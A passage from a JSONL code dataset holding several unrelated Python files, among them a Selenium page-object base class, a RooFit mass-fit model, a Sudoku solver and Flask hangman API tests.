((C-1)//W + 1)*R - 1 + W\n\nT = int(input())\nfor t in range(T):\n R, C, W = [int(x) for x in input().split(\" \")]\n print(\"Case #\" + str(t+1) +\":\", solve(R, C, W))\n","sub_path":"solutions_5640146288377856_1/Python/ComputerDruid/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"101372991","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 21 12:49:26 2020\n\n@author: lenovo\n\"\"\"\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the plusMinus function below.\ndef plusMinus(arr):\n size = len(arr)\n count1 = 0\n count2 = 0\n count3 = 0\n for i in range (size):\n if arr[i] > 0:\n count1 += 1\n elif arr[i] < 0:\n count2 += 1\n else:\n count3 += 1 \n print(count1/size)\n print(count2/size)\n print(count3/size)\nif __name__ == '__main__':\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n plusMinus(arr)","sub_path":"Plus Minus.py","file_name":"Plus Minus.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"492928304","text":"# Autor: Mario Hernández Cárdenas, A01375869\n# Descripcion: Calcular el total de alumnos, y el porcentaje de hombres y mujeres.\n\n# Escribe tu programa después de esta línea.\n\nmujeres = int(input(\"Escriba el total de mujeres en la clase: \"))\nhombres = int(input(\"Escriba el total de hombres en la clase: \"))\n\nTotal = mujeres + hombres\nmujeresp = (mujeres / Total)*100\nhombresp = (hombres / Total)*100\n\nprint(\"La cantidad total de alumnos son:\",Total)\nprint(\"El porcentaje de mujeres es: %.1f\"%mujeresp,\"%\")\nprint(\"El porcentaje de hombres es: %.1f\"%hombresp,\"%\")\n\n","sub_path":"clase.py","file_name":"clase.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"305074896","text":"import ROOT\nfrom AnalysisPython.PyRoot import *\nfrom AnalysisPython.PyRoUts import *\nfrom AnalysisPython.Utils import timing\nfrom AnalysisPython.Utils import rooSilent\nfrom AnalysisPython.Logger import getLogger\n\nlogger = getLogger(__name__)\n\nimport DiCharm.Analysis.Models as Models\n\nfrom cuts import m_Bu\nfrom cuts import m_Kstar, mm_Kstar, width_Kstar, low_kpi, high_kpi\nfrom cuts import m_Phi, mm_Phi, width_Phi, low_kk, high_kk\n\n\nd = shelve.open(\"/afs/cern.ch/user/a/albarano/cmtuser/Bender_v22r8/Scripts/testing/MC/fit/result_lowbins.shelve\")\nd2 = shelve.open(\"/afs/cern.ch/user/a/albarano/cmtuser/Bender_v22r8/Scripts/Bu2JpsiKpipi/fit/new_result.shelve\")\nd3 = shelve.open(\"/afs/cern.ch/user/a/albarano/cmtuser/Bender_v22r8/Scripts/Bu2JpsiKKK/fit/new_result.shelve\")\n\n# B+ -> J/psi K+ K- pi+\ns1_Bu = Models.CB2_pdf(\n 'Bu1',\n m_Bu.getMin(),\n m_Bu.getMax(),\n fixMass=5.2792e+0,\n fixSigma=0.008499e+0,\n fixAlphaL=0.45575,\n fixAlphaR=0.446336,\n fixNL=4.999,\n fixNR=9.92,\n mass=m_Bu\n)\n# s1_Bu = Models.Gauss_pdf(\n# 'Bu1',\n# m_Bu.getMin(),\n# m_Bu.getMax(),\n# fixMass=5.2792e+0,\n# fixSigma=0.008499e+0,\n# mass=m_Bu,\n# )\n\n\nalist = ROOT.RooArgList(m_Bu)\n\nKKK_h = d['KKK_hist']\n\nfor j in xrange(0, KKK_h.GetNbinsX()):\n if KKK_h.GetBinContent(j) < 0:\n KKK_h.SetBinContent(j, 0)\n\n\nKKK_h2 = ROOT.TH1F('KKK_h2', '', 1000, *KKK_h.xminmax())\nKKK_h2 += KKK_h\n\n# KKK_h3 = ROOT.TH1F('KKK_h3', '', 100, *KKK_h.xminmax())\n# KKK_h3 += KKK_h2\n\n#KKK_h.smear(0.003)\n\nKpipi_h = d2['Kpipi_hist']\n\nfor j in xrange(0, Kpipi_h.GetNbinsX()):\n if Kpipi_h.GetBinContent(j) < 0:\n Kpipi_h.SetBinContent(j, 0)\n\n\nKpipi_h2 = ROOT.TH1F('Kpipi_h2', '', 1000, *Kpipi_h.xminmax())\nKpipi_h2 += Kpipi_h\n\n# Kpipi_h3 = ROOT.TH1F('Kpipi_h3', '', 100, *Kpipi_h.xminmax())\n# Kpipi_h3 += Kpipi_h\n#Kpipi_h.smear(0.003)\n\nKKK_hist = ROOT.RooDataHist(\"KKK_hist\", \"KKK_hist\", alist, KKK_h2)\nKpipi_hist = ROOT.RooDataHist(\"Kpipi_hist\", \"Kpipi_hist\", alist, Kpipi_h2)\n\n\nKKK_pdf = ROOT.RooHistPdf(\"KKK_pdf\", \"Kpipi_pdf\", alist, alist, KKK_hist)\nKpipi_pdf = ROOT.RooHistPdf(\"Kpipi_pdf\", \"Kpipi_pdf\", alist, alist, Kpipi_hist)\n\nmodel_Bu = Models.Charm3_pdf(\n signal=s1_Bu,\n signal2=KKK_pdf,\n signal3=Kpipi_pdf,\n background=Models.Bkg_pdf('BBu', mass=m_Bu), suffix='Bu'\n)\n\n# model_Bu = Models.Charm1_pdf(\n# signal=s1_Bu,\n# background=Models.Bkg_pdf('BBu', mass=m_Bu, power=4), suffix='Bu'\n# )\n\n# model_Bu.background.tau.fix(0)\n# model_Bu.b.fix(0)\n\n# anti-Kstar0 -> K- pi+\ns1_Kstar = Models.BW_pdf(\n 'Kstar1',\n x=m_Kstar,\n mass=mm_Kstar,\n width=width_Kstar,\n m1=0.493,\n m2=0.139,\n L=1,\n rho=1\n)\n\n\nmodel_Kstar = Models.Charm1_pdf(\n signal=s1_Kstar,\n # background = Models.Bkg_pdf ( 'BKstar' , mass = m_Kstar , power = 2 ) ,\n # suffix = 'Kstar'\n background=Models.PhaseSpace_pdf(\n 'BKstar', x=m_Kstar, low=low_kpi, high=high_kpi, N=2, L=4, power=0),\n suffix='Kstar'\n)\n\nmodel_Kstar.signal.mean.fix(0.892)\n# model_Kstar.signal.width.fix(0.051)\n\n\n# phi(1020) -> KK\ns1_Phi = Models.BW_pdf(\n 'Phi1',\n x=m_Phi,\n mass=mm_Phi,\n width=width_Phi,\n m1=0.493,\n m2=0.493,\n L=1,\n rho=1\n)\n\n\nmodel_Phi = Models.Charm1_pdf(\n signal=s1_Phi,\n #background = Models.Bkg_pdf ( 'BPhi' , mass = m_Phi , power = 4 ) ,\n background=Models.PhaseSpace_pdf(\n 'BPhi', x=m_Phi, low=low_kk, high=high_kk, N=2, L=4, power=0),\n suffix='Phi'\n)\n\nmodel_Phi.signal.mean.fix(1.020)\nmodel_Phi.signal.width.fix(4.26e-3)\n\n# model_Phi.signal.mean.release()\n# model_Phi.signal.width.release()\n\n\n\nmodel2_Kpi = Models.Charm2_pdf(\n sig_1=s1_Bu,\n sig_2=s1_Kstar,\n suffix='2D-Kpi'\n)\n\nmodel2_KK = Models.Charm2_pdf(\n sig_1=s1_Bu,\n sig_2=s1_Phi,\n suffix='KK'\n)\n","sub_path":"fit/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"256782532","text":"import json,os\nimport time\nimport allure\nimport yaml\nfrom selenium.webdriver.remote.webdriver import WebDriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport selenium.webdriver.support.expected_conditions as EC\nfrom selenium.common.exceptions import *\nfrom selenium import webdriver\nfrom common.log_main import logger\nfrom page.black_handle import black_handle\nfrom selenium.webdriver import DesiredCapabilities\nimport configparser\nfrom selenium.webdriver.chrome.options import Options\n\nPOLL_FREQUENCY = 0.5\nTIMEOUT = 3\nclass BasePage:\n _params = {}#sendkeys动态传入\n _sleep = 1\n _now_time = '暂无时间'\n\n def __init__(self,driver:WebDriver=None,url='',types='',dcs='',userhadless=None):\n '''\n 一、types=debug进入debu模式:(终端进入chrome.exe目录/已经配置环境变量,chrome --remote-debugging-port=9222)\n 二、非debug模式:\n A、userhadless:true无界面(或jenkins参数化)[dcs=hub启动分布式运行/非分布式运行,判断是否有driver]\n B、进入有界面模式[dcs=hub启动分布式运行/非分布式运行,判断是否有driver]\n '''\n if types == 'debug':\n chrome_args = webdriver.ChromeOptions()\n chrome_args.debugger_address = '127.0.0.1:9222'\n self._driver = webdriver.Chrome(options=chrome_args)\n else:\n self._driver = self.is_useinghandless(userhadless=userhadless,dcs=dcs,driver=driver)\n self.get(url)\n\n def start_chrome_isgrid(self,chrome_options=None,dcs='',driver=None):\n '''是否分布式/单个启动'''\n if dcs == 'hub':\n hub_url = 'http://192.168.31.136:12355/wd/hub' # 设置hub主机\n capability = DesiredCapabilities.CHROME.copy() # 设置浏览器,使用copy不会改变原理的东西\n _driver = webdriver.Remote(desired_capabilities=capability,\n command_executor=hub_url,\n options=chrome_options)\n else:\n if driver is None:\n _driver = webdriver.Chrome(options=chrome_options)\n else:\n _driver = driver\n return _driver\n\n def is_useinghandless(self,userhadless=None,dcs='',driver=None):\n '''是否无/有界面启动'''\n try:\n using_headless = os.environ['using_headless'] # 尝试获取环境变量\n except KeyError: # 获取失败后,赋值\n using_headless = userhadless\n chrome_options = Options()\n if using_headless is not None and using_headless.lower() == 'true':\n chrome_options.add_argument('--headless') # 配置--参数后,,chrome运行会读取这个参数\n _driver = self.start_chrome_isgrid(chrome_options=chrome_options,dcs=dcs,driver=driver)\n else:\n _driver = self.start_chrome_isgrid(chrome_options=chrome_options, dcs=dcs, driver=driver)\n return _driver\n\n def max_size(self):\n '''窗口最大化'''\n self._driver.maximize_window()\n\n def set_window_size(self,width=1920, height=1080, windowHandle='current'):\n '''自定义窗口'''\n self._driver.set_window_size(width, height, windowHandle)\n\n def get_screen(self):\n js = 'var winW = window.screen.width;var winH = window.screen.height;alert(winW+\",\"+winH)'\n self._driver.execute_script(js)\n line = self._driver.switch_to.alert.text\n self._driver.switch_to.alert.accept()\n size = line.split(',')\n Screen = {}\n Screen['width'] = int(size[0])\n Screen['height'] = int(size[1])\n return Screen\n\n def quit(self):\n '''退出浏览器'''\n self._driver.quit()\n\n def refresh(self):\n '''刷新浏览器'''\n self._driver.refresh()\n\n def get(self,url=''):\n '''打开浏览器'''\n if url != '':\n self._driver.get(url)\n else:pass\n\n def write_cookie_for_json(self,path='cookie.json'):\n '''拿到cookies写入指定的JSON文件'''\n try:\n cookies = self._driver.get_cookies()\n with open(path,'w',encoding='utf-8')as f:\n json.dump(cookies,f)#写入JSON\n except Exception as e:\n print('cookies 写入JSON失败,请检查路径...')\n raise e\n\n def add_cookie(self,path='cookie.json'):\n '''从指定JSON读取cookies,并写入打开的浏览器页面cookie'''\n try:\n with open(path,'r',encoding='utf-8') as f:\n cookies = json.load(f)\n for cookie in cookies:\n self._driver.add_cookie(cookie)\n print('添加cookie成功')\n except Exception as e:\n print('添加cookie失败...')\n raise e\n\n def get_config(self):\n config = configparser.ConfigParser()\n print(f'config:{self.config}')\n config.read(os.path.join(os.environ['HOME'], 'iselenium.ini'))\n print(f\"os.environ['HOME']:{os.environ['HOME']}\")\n print(f\"os.path.join:{os.path.join}\")\n return config\n\n def find_element_by_ui(self,key,value):\n '''\n 判断元素存在返回元素对象,通过android_uiautomator\n :param locator: 元素\n :return: 元素对象/false\n '''\n elem = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until(lambda x : x\\\n .find_element_by_android_uiautomator('new UiSelector().'+key+'(\"'+value+'\")'))\n return elem\n\n def find_element(self,locator):\n '''\n 定位一个元素\n :param locator: 传的元素,元祖类型,key定位类型,value元素值\n :return:返回元素对象/False\n '''\n try:\n ele = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).\\\n until(EC.presence_of_element_located(locator))\n return ele\n except:\n logger.info('未找到元素》》》》》》》》》》》》》》》》》》,返回False')\n return False\n\n def find_elements(self,locator):\n '''\n 定位一组元素\n :param locator: 传的元素,元祖类型,key定位类型,value元素值\n :return:返回元素对象/None\n '''\n try:\n eles = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).\\\n until(lambda x: x.find_elements(*locator))\n return eles\n except:\n logger.info('未找到元素》》》》》》》》》》》》》》》》》》,返回False')\n return False\n\n @black_handle\n def find(self, locator):\n '''查找元素,屏蔽黑名单'''\n return self.find_element(locator)\n\n\n @black_handle\n def send(self,locator,value):\n '''输入内容,屏蔽黑名单'''\n self.find_element(locator).send_keys(value)\n\n @black_handle\n def click_new(self,locator):\n '''点击内容,屏蔽黑名单'''\n self.find_element(locator).click()\n\n def open_yaml(self,path):\n with open(path, encoding='utf-8') as f:\n return yaml.safe_load(f)\n\n def steps(self,path,options):\n '''封装数据驱动,通过关键字驱动操作'''\n values = []\n with open(path, encoding='utf-8') as f:\n step_yaml:list[dict] = yaml.safe_load(f)\n step_yaml_value = step_yaml[options]\n for step in step_yaml_value:\n locator = step['locator']\n if step['action'] == 'click':#点击\n self.click_new(locator)\n logger.info(f\"【操作:{step['name']}】【值:{locator}】\")\n if step['action'] == 'sleep_click':#延时点击\n time.sleep(step['sleep_time'])\n self.click_new(locator)\n logger.info(f\"【操作:{step['name']}】【值:{locator}】\")\n if step['action'] == 'send':#输入\n content:str = step['content']\n for param in self._params:\n content = content.replace('{%s}'%param,self._params[param])\n self.send(locator,content)\n logger.info(f\"【操作:{step['name']}】【值:{locator}】【内容:{content}】\")\n if step['action'] == 'sleep_send':#延时输入\n content:str = step['content']\n for param in self._params:\n content = content.replace('{%s}'%param,self._params[param])\n self.send(locator,content)\n logger.info(f\"【操作:{step['name']}】【值:{locator}】【内容:{content}】\")\n time.sleep(step['sleep_time'])\n if step['action'] == 'text':#获取文本信息,复数查询到后塞入列表['a','b']\n ele_name_list = self.get_texts(locator)\n logger.info(f\"【操作:{step['name']}】【值:{locator}】\")\n values.append(ele_name_list)\n if 'screen' in step.keys():#截图\n time.sleep(self._sleep)\n self.get_screen_shot(moudle=step['screen'],msg=step['screen'])\n self._params.clear()\n return values\n\n def get_attribute(self,locator,value='value'):\n '''拿到元素的value'''\n try:\n elem_value = self.find_element(locator).get_attribute(value)#试着找到元素的value\n return elem_value#有值返回具体内容\n except:\n print('没有attribute值')\n return None#没值返回None\n\n def get_texts(self, locator):\n '''获取元素的文本'''\n eles = self.find_elements(locator)\n ele_list = [] # 存放部门名称\n try:\n for ele_name in eles:\n ele_name = ele_name.text.strip()\n ele_list.append(ele_name)\n return ele_list\n except:\n if ele_list:\n return ele_list\n return False # 没值返回None\n\n def get_text(self, locator):\n '''获取元素的文本'''\n ele = self.find_element(locator)\n try:\n if ele.is_displayed():#元素可见\n return ele.text\n self.get_text(locator)\n except:\n return False # 没值返回None\n\n def get_count(self):\n '''打印计数器'''\n print(self._error_count,self._max_count)\n\n def get_loaction(self, locator):\n '''获取元素的坐标'''\n try:\n elem_location = self.find_element(locator).location\n return elem_location # 有值返回具体内容\n except:\n print('没有location值')\n return None # 没值返回None\n\n def get_size(self, locator):\n '''获取元素的尺寸'''\n try:\n elem_size = self.find_element(locator).size\n return elem_size # 有值返回具体内容\n except:\n print('没有size值')\n return None # 没值返回None\n\n def sendkeys(self,locator,text):\n '''输入内容'''\n try:\n ele = self.find_element(locator)\n ele.send_keys(text)\n except Exception as e:\n print('未找到输入元素')\n raise e\n\n def clicks(self,locator):\n '''点击元素'''\n try:\n ele = self.find_element(locator)\n ele.click()\n except Exception as e:\n print('未找到点击元素')\n raise e\n\n\n def clear(self,locator):\n '''清空内容'''\n ele = self.find_element(locator)\n elem_value = self.get_element_value(locator)\n if elem_value != None:\n ele.clear()\n else:\n return False\n\n def is_selected(self,locator):\n '''判断元素是否被选中,返回bool'''\n ele = self.find_element(locator)\n if ele:\n return ele.is_selected()\n else:\n return False\n\n def is_displayed(self,locator):\n '''判断元素是否可见,返回bool'''\n ele = self.find_element(locator)\n if ele:\n return ele.is_displayed()\n else:\n return False\n\n def is_enabled(self,locator):\n '''判断元素是否可用,返回bool'''\n ele = self.find_element(locator)\n if ele:\n return ele.is_enabled()\n else:\n return False\n\n def is_element_exist(self,locator):\n '''判断一个元素是否存在,返回对象或False'''\n if self.find_element(locator):\n return True\n else:\n return False\n\n def is_elements_exist(self,locator):\n '''判断一组元素是否存在,返回 一个/多个对象,else False'''\n ele = self.find_elements(locator)\n if len(ele)==1:\n return True\n elif len(ele)>1:\n print(f'定位到多个元素:{ele}')\n return True\n else:\n return False\n\n def title_is(self,title):\n '''判断预期标题和实际标题是否一致,bool返回值'''\n try:\n res = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).\\\n until(EC.title_is(title))\n return res\n except:\n return False\n\n def title_contains(self, title):\n '''判断预期标题是否包含实际标题,bool返回值'''\n try:\n res = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).\\\n until(EC.title_contains(title))\n return res\n except:\n return False\n\n def text_in_element(self,locator, text):\n '''判断元素是否存在text,bool返回值'''\n try:\n res = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).\\\n until(EC.text_to_be_present_in_element(locator,text))\n return res\n except:\n return False\n\n def is_visibility_of_element_located(self,locator):\n '''\n 判断元素是否可见,可见返回元素对象,不可见返回false\n :param locator: 元素\n :return: 元素对象/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.visibility_of_any_elements_located(locator))\n return result\n except:\n return False\n\n def is_invisibility_of_element_located(self,locator):\n '''\n 判断元素是否隐藏,找得到返回False,找不到或隐藏返回true\n :param locator: 元素\n :return: true/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.invisibility_of_element_located(locator))\n return result\n except:\n return False\n\n def is_text_to_be_present_in_element(self,locator,_text):\n '''\n 判断元素的text是否包含字符串\n :param locator: 元素\n :param _text: 预期字符串\n :return: true/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.text_to_be_present_in_element(locator,_text))\n return result\n except:\n return False\n\n def is_text_to_be_present_in_element_value(self,locator,_text):\n '''\n 判断元素的value是否包含字符串\n :param locator: 元素\n :param _text: 预期字符串\n :return: true/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.text_to_be_present_in_element_value(locator,_text))\n return result\n except:\n return False\n\n def is_element_to_be_clickable(self,locator):\n '''\n 判断元素是否可被点击,可以点击返回元素对象,需要元素可见且可被调用\n :param locator:元素\n :return:元素对象/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.element_to_be_clickable(locator))\n return result\n except:\n return False\n\n def is_frame_to_be_available_and_switch_to_it(self,locator):\n '''\n 判断frame是否switch进去,能被切入返回ture\n :param locator:元素\n :return:true且switch进去/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (EC.frame_to_be_available_and_switch_to_it(locator))\n return result\n except TimeoutException:\n return \"元素找不到\"\n except NoSuchFrameException:\n return \"元素切不过去\"\n\n def is_staleness_of(self,locator):\n '''\n 判断元素是否被移除,没有移除返回False,移除了返回true\n :param locator:元素\n :return:True/false\n '''\n try:\n result = self.findElement(locator).is_enabled()\n return False\n except:\n if TimeoutException:\n return \"元素找不到了,已经不在当前页面\"\n elif StaleElementReferenceException:\n return \"元素不在当前页面\"\n else:\n return True\n\n def is_alert_is_present(self):\n '''\n 判断alert是否存在,存在返回alert.text,不存在返回false\n :return:alert.text/false\n '''\n try:\n result = WebDriverWait(self._driver,timeout=TIMEOUT,poll_frequency=POLL_FREQUENCY).until\\\n (self._driver.switch_to.alert.text)\n return result\n except:\n return False\n\n def get_window_rect(self):\n '''\n 获取窗口的比例和位置\n rect{'width': 720, 'height': 1280, 'x': 0, 'y': 0}\n :return:\n '''\n res = self._driver.get_window_rect()\n width = res['width']\n height = res['height']\n return width,height\n\n def swipe(self,locator,start_x,start_y,end_x,end_y,duration):\n '''\n 滑动屏幕\n :param start_x: 第一点x轴\n :param start_y: 第一点y轴\n :param end_x: 第二个点x轴\n :param end_y: 第二个点y轴\n :param duration: 滑动时间\n :return:\n '''\n if self.find_element(locator):\n print('找到元素,开始滑动')\n return self._driver.swipe(start_x, start_y, end_x, end_y, duration)\n else:\n print('元素未出现,无法进行滑动')\n return False\n\n def set_display(self,locator,types):\n '''\n 修改display属性\n :param eleId:元素ID的值\n :param types:none,block,inline\n :return:\n '''\n if self.find_element(locator):\n self._driver.execute_script(f\"document.getElementById('{locator[1]}').style.display='{types}'\")\n return self._driver.execute_script(f\"return document.getElementById('{locator[1]}').style.display\")\n else:\n return False\n\n def get_display(self,locator):\n '''\n 修改display属性\n :param eleId:元素ID的值\n :param types:none,block,inline\n :return:\n '''\n if self.find_element(locator):\n return self._driver.execute_script(f\"return document.getElementById('{locator[1]}').style.display\")\n else:\n return False\n\n def get_time(self):\n '''获取当前时间'''\n return time.strftime('%Y-%m-%d %H_%M_%S')\n\n def get_screen_shot(self,moudle,msg):\n '''\n 截图后,打印日志\n :param moudle: 具体截图的模块\n '''\n now_time = self.get_time()#获取当前时间\n BasePage._now_time = now_time#改变类数据的时间变量\n image_file = os.path.dirname(os.path.dirname(__file__))+'/screenshots/%s_%s.png'%(moudle,BasePage._now_time)#定义图片路径\n logger.info(f'开始截图:{moudle}')#打印日志\n self._driver.get_screenshot_as_file(image_file)#截图\n allure.attach.file(f'../screenshots/{moudle}_{BasePage._now_time}.png', msg,\n attachment_type=allure.attachment_type.PNG)#将截图写入allure,生成报告的时候,非生成报告无效\n\nif __name__ == '__main__':\n loc = ('xpath', \"//div[@class='patient-info']/div/span\")\n # ele = self.main.find_element(loc)\n # print(f'ele:{eles}')\n # print(f'ele:{eles[1].text}')\n print(f'元素是否可被点击:{self.main.is_element_to_be_clickable(loc)}')\n # print(f'元素是否隐藏:{self.main.is_invisibility_of_element_located(loc)}')\n # print(f'元素是否可见:{self.main.is_visibility_of_element_located(loc)}')\n\n # ele.click()\n # ele.send_keys('shen')\n","sub_path":"page/base_page_web.py","file_name":"base_page_web.py","file_ext":"py","file_size_in_byte":21275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"148686004","text":"from decimal import *\nfrom math import fabs\n\n\ndef f(r):\n n = 5000\n return Decimal(sum((900-3*k)*r**(k-1) for k in range(1,n+1)))\n\n\ndef compute():\n x = Decimal(1.000000001)\n y = Decimal(1.01)\n epsilon = Decimal(10**(-20))\n while fabs(x-y) > epsilon:\n temp = f((x+y)/2)\n if temp < -600 * 10**9:\n y = (x+y) / 2\n else:\n x = (x+y) /2\n return (x+y)/2\n\nif __name__ == \"__main__\":\n print(compute())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Python/235.py","file_name":"235.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"354522580","text":"from sqlalchemy import *\r\nfrom sqlalchemy.orm import *\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\n\r\nDATABASE = \"sqlite:///DB.sqlite\"\r\n\r\nENGINE = create_engine(\r\n DATABASE,\r\n encoding = \"utf8\",\r\n echo=True\r\n)\r\n\r\nsession = scoped_session(\r\n # ORM実行時の設定。自動コミットするか、自動反映するなど。\r\n sessionmaker(\r\n autocommit = False,\r\n autoflush = False,\r\n bind = ENGINE\r\n )\r\n)\r\n\r\n# modelで使用する\r\nBase = declarative_base()\r\nBase.query = session.query_property()","sub_path":"Alchemy_Setting.py","file_name":"Alchemy_Setting.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"348349572","text":"from random import randint\nfrom random import sample\n\n\nclass CreateSudokuPuzzle:\n def __init__(self):\n self.rows = self.columns = self.total_blocks = 9\n self.sudoku = []\n for i in range(0, self.rows):\n row_list = []\n for j in range(0, self.columns):\n row_list.append(0)\n self.sudoku.append(row_list)\n self.block_dict = {\n 0: [(0, 2), (0, 2), False],\n 1: [(0, 2), (3, 5), False],\n 2: [(0, 2), (6, 8), False],\n 3: [(3, 5), (0, 2), False],\n 4: [(3, 5), (3, 5), False],\n 5: [(3, 5), (6, 8), False],\n 6: [(6, 8), (0, 2), False],\n 7: [(6, 8), (3, 5), False],\n 8: [(6, 8), (6, 8), False],\n }\n self.random_block_combination = ((0, 4, 8), (1, 5, 6), (2, 3, 7))\n\n def get_block_num(self, row, col):\n for item in self.block_dict.items():\n if row >= item[1][0][0] and row <= item[1][0][1] and col >= item[1][1][0] and col <= item[1][1][1]:\n return item[0]\n\n def check_value_in_row(self, value, row):\n for col in range(0, self.columns):\n if self.sudoku[row][col] == value:\n return True\n return False\n\n def check_value_in_col(self, value, col):\n for row in range(0, self.rows):\n if self.sudoku[row][col] == value:\n return True\n return False\n\n def check_value_in_block(self, value, block_num):\n block_row_start = self.block_dict[block_num][0][0]\n block_row_end = self.block_dict[block_num][0][1]\n block_col_start = self.block_dict[block_num][1][0]\n block_col_end = self.block_dict[block_num][1][1]\n for row in range(block_row_start, block_row_end+1):\n for col in range(block_col_start, block_col_end+1):\n if self.sudoku[row][col] == value:\n return True\n return False\n\n def display(self):\n for i in range(0, self.rows):\n for j in range(0, self.columns):\n print(\" {0:5} \".format(str(self.sudoku[i][j])), end=\" \")\n print(\"\\n\")\n\n def populate_first_three_random_blocks(self):\n random_block = randint(0, 8)\n for block_tuple in self.random_block_combination:\n if random_block in block_tuple:\n for block in block_tuple:\n random_list = sample(range(1, 10), 9)\n random_block_row = self.block_dict[block][0]\n random_block_col = self.block_dict[block][1]\n random_list_index = 0\n for i in range(random_block_row[0], random_block_row[1]+1):\n for j in range(random_block_col[0], random_block_col[1]+1):\n self.sudoku[i][j] = random_list[random_list_index]\n random_list_index += 1\n self.block_dict[block][2] = True\n break\n\n def check_if_safe_to_insert(self, value, row, col):\n block_num = self.get_block_num(row, col)\n if self.check_value_in_block(value, block_num) or self.check_value_in_row(value, row) or self.check_value_in_col(value, col):\n return False\n else:\n return True\n\n def get_first_empty_cell(self):\n for row in range(self.rows):\n for col in range(self.columns):\n if self.sudoku[row][col] == 0:\n return (row, col)\n return (None, None)\n\n def solve_sudoku(self, partial_sudoku):\n row, col = self.get_first_empty_cell()\n if row == None and col == None:\n return True\n else:\n for value_to_insert in range(1, 10):\n if self.check_if_safe_to_insert(value_to_insert, row, col):\n self.sudoku[row][col] = value_to_insert\n if(self.solve_sudoku(self.sudoku)):\n return True\n else:\n self.sudoku[row][col] = 0\n continue\n else:\n continue\n\n\nif __name__ == '__main__':\n X = CreateSudokuPuzzle()\n X.populate_first_three_random_blocks()\n X.solve_sudoku(X.sudoku)\n X.display()\n","sub_path":"Sudoku_backTracking/Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"311419293","text":"from server import app\nfrom unittest import TestCase, TestSuite\nimport json\nimport sys\nimport hangman\nimport random\nimport string\n\noriginal_hangman_create = hangman.create_hangman_game\n\n\ndef create_game_with_override_words(words=None, guess_limit=5):\n return original_hangman_create(words=[\"abac\"], guess_limit=5)\n\n\nhangman.create_hangman_game = create_game_with_override_words\n\n\ndef parse_response(response):\n return json.loads(response.get_data().decode(sys.getdefaultencoding()))\n\n\nclass TestApiIntegration(TestCase):\n def setUp(self):\n self.app = app.test_client()\n\n def get_game(self, game_id):\n return self.app.get(f\"/api/hangman/{game_id}\")\n\n def test_get_hangman_missing(self):\n invalid_game_id = 9999\n response = self.get_game(invalid_game_id)\n self.assertEqual(response.status_code, 404)\n\nclass TestNewEndpoint(TestCase):\n def setUp(self):\n self.app = app.test_client()\n \n def test_guess_endpoint(self): #test if new route for guessing is working\n create_response=self.app.post(f\"/api/hangman\") #create game\n game_id=create_response.get_json()[\"gameId\"]\n self.assertEqual(create_response.status_code,200)\n\n #get game by id\n get_game_response=self.app.get(f\"/api/hangman/{game_id}\")\n self.assertEqual(get_game_response.status_code,200)\n\n #post guess request\n valid_char=\"a\" #alphanumeric valid char\n post_data=json.dumps({\"letter\": valid_char})\n guess_response=self.app.post(f\"/api/hangman/{game_id}/guess\",data=post_data, content_type=\"application/json\")\n self.assertEqual(guess_response.status_code,200)\n\nclass TestWin(TestCase): #test specific guess functionality\n def setUp(self):\n self.app = app.test_client()\n \n def test_post_gamewon(self):\n create_response=self.app.post(f\"/api/hangman\") #create game\n game_id=create_response.get_json()[\"gameId\"]\n \n self.app.get(f\"/api/hangman/{game_id}\") #get game by id\n\n for char in \"abac\": #use monkeypatched testcase / submit letter by letter until game over\n post_data=json.dumps({\"letter\": char})\n response=self.app.post(f\"/api/hangman/{game_id}/guess\",data=post_data, content_type=\"application/json\")\n if char!='c':#check response for in progress state\n self.assertEqual(response.get_json()['state'],\"IN_PROGRESS\")\n \n #check response after game over => should be \"WON\"\n post_game_response=self.app.post(f\"/api/hangman/{game_id}/guess\",data=post_data, content_type=\"application/json\")\n self.assertEqual(post_game_response.get_json()['state'],\"WON\")\n \nclass TestLose(TestCase): #test specific guess functionality\n def setUp(self):\n self.app = 